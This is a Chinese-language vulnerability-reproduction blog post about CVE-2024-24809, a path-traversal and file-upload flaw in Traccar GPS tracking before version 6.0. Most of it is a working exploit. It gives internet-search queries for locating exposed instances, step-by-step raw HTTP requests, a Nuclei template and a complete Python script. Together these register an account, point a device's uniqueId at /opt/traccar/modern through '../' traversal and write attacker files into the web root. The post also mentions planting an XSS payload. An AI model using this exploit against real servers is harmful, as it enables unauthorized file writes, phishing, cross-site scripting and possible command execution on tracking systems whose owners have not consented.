【漏洞复现】CVE-2024-24809
【漏洞复现】CVE-2024-24809
混子Hacker 混子Hacker 2024-11-24 16:25
免责声明
请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不承担任何法律及连带责任。
[
漏洞简介
]
——
生活不可能像你想象的那么好,但也不会像你想象的那么糟。人的脆弱和坚强都超乎自己的想象。
——
CVE-2024-24809
Description Traccar 是一个开源的 GPS 跟踪系统。6.0 之前的版本容易受到路径遍历和不受限制地上传危险类型的文件的影响。由于系统默认允许注册,攻击者可以通过注册账号来获取普通用户权限,并利用该漏洞上传前缀为 device 的文件。在任何文件夹下。攻击者可以利用此漏洞进行网络钓鱼、跨站点脚本攻击,并可能在服务器上执行任意命令。版本 6.0 包含针对该问题的补丁
漏洞信息
混子Hacker
01
资产测绘
fofa: app="Traccar"
Quake:title:"Traccar"
混子Hacker**
02
漏洞复现
1、注册账号
POST /api/users HTTP/1.1
Host: xxx
Content-Type: application/json
Accept-Encoding: gzip, deflate
Accept: */*
Content-Length: 73
{"name": "用户名", "email": "邮箱", "password": "123456"}
2、登录获取cookie
POST /api/session HTTP/1.1
Host: xxx
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Cookie: JSESSIONID=node04gx7rfnhjqgzm9ljql5tg9vn83.node0
Accept-Encoding: gzip, deflate
Accept: */*
Content-Length: 40
email=邮箱&password=123456
3、添加device,获取device_id即响应包中的id值
POST /api/devices HTTP/1.1
Host: xxx
Accept-Encoding: gzip, deflate
Accept: */*
Content-Type: application/json
Cookie: JSESSIONID=node04gx7rfnhjqgzm9ljql5tg9vn83.node0
Content-Length: 44
{"name": "oiCEsOJk", "uniqueId": "oiCEsOJk"}
4、上传文件,Content-Type设置为image/文件后缀
POST /api/devices/{device_id}/image HTTP/1.1
Host: xxx
Accept-Encoding: gzip, deflate
Accept: */*
Content-Type: image/HUyjxWsW
Cookie: JSESSIONID=node04gx7rfnhjqgzm9ljql5tg9vn83.node0
Content-Length: 20
hPrctfuSZzpXdTTGcqvO
5、更改上传路径
device_name
为步骤3中的name
PUT /api/devices/{device_id} HTTP/1.1
Host: xxx
Accept-Encoding: gzip, deflate
Accept: */*
Content-Type: application/json
Cookie: JSESSIONID=node04gx7rfnhjqgzm9ljql5tg9vn83.node0
Content-Length: 326
{"id": {device_id}, "attributes": {"deviceImage": "device.png"}, "groupId": 0, "calendarId": 0, "name": "test", "uniqueId": "{device_name}/../../../../../opt/traccar/modern", "status": "offline", "lastUpdate": null, "positionId": 0, "phone": null, "model": null, "contact": null, "category": null, "disabled": false, "expirationTime": null}
6、再次上传文件
POST /api/devices/{device_id}/image HTTP/1.1
Host: xxx
Accept-Encoding: gzip, deflate
Accept: */*
Content-Type: image/HUyjxWsW
Cookie: JSESSIONID=node04gx7rfnhjqgzm9ljql5tg9vn83.node0
Content-Length: 20
hPrctfuSZzpXdTTGcqvO
访问上传成功
可以上传一个xss payload也是成功弹窗
混子Hacker**
03
Nuclei Poc
id: CVE-2024-24809
info:
name: Traccar - An authentication bypass vulnerability
author: Ghost_sec
severity: high
description:
Traccar is an open source GPS tracking system. Versions prior to 6.0 are vulnerable to path traversal and unrestricted upload of file with dangerous type. Since the system allows registration by default, attackers can acquire ordinary user permissions by registering an account and exploit this vulnerability to upload files with the prefix `device.` under any folder. Attackers can use this vulnerability for phishing, cross-site scripting attacks, and potentially execute arbitrary commands on the server. Version 6.0 contains a patch for the issue.
reference:
- https://github.com/traccar/traccar/commit/b099b298f90074c825ba68ce73532933c7b9d901
- https://notcve.org/view.php?id=CVE-2024-24809
- https://nvd.nist.gov/vuln/detail/CVE-2024-24809
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L
cvss-score: 8.5
cve-id: CVE-2024-24809
cwe-id: CWE-27
epss-score: 0.00043
epss-percentile: 0.09551
metadata:
verified: true
max-request: 1
shodan-query: app:"Traccar"
tags: cve,cve2024,traccar,rce,intrusive,file-upload
variables:
name: "ghostsec"
password: "ghostsec"
email: "[email protected]"
unique: "{{rand_base(6)}}"
str: "{{randstr}}"
flow: http(1) && http(2) && http(3) && http(4) && http(5) && http(6) && http(7)
http:
- raw:
- |
POST /api/users HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"name": "{{name}}", "email": "{{email}}", "password": "{{password}}", "totpKey": null}
matchers:
- type: word
part: body
words:
- '"administrator":'
- '"fixedEmail"'
condition: and
internal: true
- raw:
- |
POST /api/session HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
email={{email}}&password={{password}}
matchers:
- type: word
part: body
words:
- '"deviceReadonly":'
- '"expirationTime":'
condition: and
internal: true
- raw:
- |
POST /api/devices HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"name": "{{unique}}", "uniqueId": "{{unique}}"}
matchers:
- type: word
part: body
words:
- '"calendarId"'
- '"groupId":'
condition: and
internal: true
extractors:
- type: json
part: body
name: value
internal: true
json:
- '.id'
- raw:
- |
POST /api/devices/{{value}}/image HTTP/1.1
Host: {{Hostname}}
Content-Type: image/srHtgGrc
{{str}}
extractors:
- type: regex
part: body
name: filename
internal: true
regex:
- 'device\.([a-zA-Z]+)'
matchers:
- type: dsl
dsl:
- status_code == 200
- contains(content_type, "application/json")
condition: and
internal: true
- raw:
- |
PUT /api/devices/{{value}} HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"id": {{value}}, "attributes": {"deviceImage": "device.png"}, "groupId": 0, "calendarId": 0, "name": "test", "uniqueId": "{{unique}}/../../../../../opt/traccar/modern", "status": "offline", "lastUpdate": null, "positionId": 0, "phone": null, "model": null, "contact": null, "category": null, "disabled": false, "expirationTime": null}
matchers:
- type: word
part: body
words:
- '"deviceImage":'
- '"expirationTime":'
condition: and
internal: true
- raw:
- |
POST /api/devices/{{value}}/image HTTP/1.1
Host: {{Hostname}}
Content-Type: image/srHtgGrc
{{str}}
matchers:
- type: dsl
dsl:
- status_code == 200
- contains(content_type, "application/json")
condition: and
internal: true
- raw:
- |
GET /{{filename}} HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- status_code == 200
python脚本
import requests
import random
import string
import sys
session = requests.session()
def generate_random_string(length=8):
letters = string.ascii_letters
result_str = ''.join(random.choice(letters) for i in range(length))
return result_str
def register(target, username):
headers = {
'Content-Type': "application/json"
}
data = {
"name": username,
"email": f"{username}@admin.com",
"password": "123456"
}
res = session.post(f"{target}/api/users",headers=headers, json=data)
return res
def login(target, username):
headers = {
'Content-Type': "application/x-www-form-urlencoded;charset=UTF-8"
}
data = 'email=' + username + '@admin.com&password=123456'
res = session.post(f"{target}/api/session",headers=headers, data=data)
return res
def add_device(target, device_name):
headers = {
'Content-Type': "application/json"
}
data = {
"name": device_name,
"uniqueId": device_name
}
res = session.post(f"{target}/api/devices",headers=headers, json=data)
return res
def upload_file(target, device_id, file_suffix, data):
headers = {
'Content-Type': f"image/{file_suffix}"
}
res = session.post(f"{target}/api/devices/{device_id}/image",headers=headers, data=data)
return res
def change_upload_path(target, device_id, device_name, upload_path):
headers = {
'Content-Type': 'application/json'
}
data = {
"id": device_id,
"attributes": {
"deviceImage": "device.png"
},
"groupId": 0,
"calendarId": 0,
"name": "test",
"uniqueId": f"{device_name}/../../../../..{upload_path}",
"status": "offline", "lastUpdate":None,"positionId":0,"phone":None,"model":None,"contact":None,"category":None,"disabled":False,"expirationTime":None}
res = session.put(f"{target}/api/devices/{device_id}",headers=headers, json=data)
return res
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"Usage: python {sys.argv[0]} http://example.com:8082")
sys.exit(0)
target = sys.argv[1]
username = generate_random_string()
# register user
res = register(target, username)
if username not in res.text:
print("Register Error!!")
sys.exit(0)
print(f"Register: {username}@admin.com Password: 123456")
# login
res = login(target, username)
if username not in res.text:
print("Login Error!!")
sys.exit(0)
print("Login Success!!")
device_name = generate_random_string()
# Add Device
res = add_device(target, device_name)
if 'id' not in res.text:
print("ADD Device Error!!")
sys.exit(0)
print(f'Add Device Success!! [{device_name}]')
device_id = res.json()['id']
# # Upload File
suffix = generate_random_string()
data = generate_random_string(20)
res = upload_file(target, device_id, suffix, data)
if 'device.' + suffix not in res.text:
print("Upload Error!!")
sys.exit(0)
print(f"First Upload Success!!")
# Change Upload Path
upload_path = "/opt/traccar/modern"
res = change_upload_path(target, device_id, device_name, upload_path)
if upload_path not in res.text:
print("Change Upload Path Error!!")
sys.exit(0)
print("Change Upload Path Success!!")
# Upload File Again
res = upload_file(target, device_id, suffix, data)
if 'device.' + suffix not in res.text:
print("Upload Error!!")
sys.exit(0)
print("Upload Success!!")
# Check upload
# if set upload_path = "/opt/traccar/modern"
check_url = f"{target}/device.{suffix}"
print(f"Check: {check_url}")
res = session.get(check_url)
if data in res.text:
print("Is a Vulnerability!")
else:
print('Not is a Vulnerability!')
<<<
END
原创文章|转载请附上原文出处链接
更多漏洞|关注作者查看
作者|混子Hacker